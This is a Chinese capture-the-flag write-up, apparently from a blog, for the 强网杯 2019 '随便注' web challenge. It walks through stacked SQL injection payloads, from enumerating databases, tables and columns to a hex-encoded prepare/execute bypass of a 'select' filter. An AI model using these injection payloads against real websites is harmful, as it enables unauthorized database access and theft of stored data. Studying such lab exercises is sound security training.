一、题目链接
https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8
二、解法步骤
本题考察的是堆叠注入:堆叠注入原理就是通过结束符同时执行多条sql语句;例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行。总之,堆叠注入的触发条件很严格
输入:1进行常规查询。
同时用order by 2,可以得出共有两列;但是本题过滤了select ,delete等关键字,要想获取数据库可以用show databases
,
结合堆叠注入的特性,构造payload:1';show databases;#
这里第一个分号表示正常查询结束,第二个分号是我们注入的sql语句结束,同时结尾仍然用#注释。
可以发现爆出了许多数据库;接下来试试能不能爆表:同样用show tables
114514(警觉!)说不定flag就在这表里,现在用show columns from `1919810931114514`
,查询表里的列。PS:这里查数字类型的表时,需要用反引号括起来。
查询该表:
最后就差查数据了,查数据只能用select,但是如果直接用:1';select * from`1919810931114514`;#
会发现提示select被过滤。绕过方式可以选择设置一个变量,让它的值变成该语句的16进制,最后用prepare ···· from ····· ,execute 语句执行。
设置变量:SeT@a=
sql语句的十六进制:0x73656c656374202a2066726f6d20603139313938313039333131313435313460
(把select flag from ` 数字 `转换成16进制)
语句执行:prepare execsql from @a;execute execsql;#
完整payload:1';Set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
得到flag:
最后得到flag。
三、总结
本题能想到堆叠注入就挺难的,对select过滤处理方法也要知道;总体难度较大,目前就当增长见识了。
标签:语句,Web,show,19,堆叠,强网杯,flag,execsql,select From: https://www.cnblogs.com/miraclewolf/p/17591791.html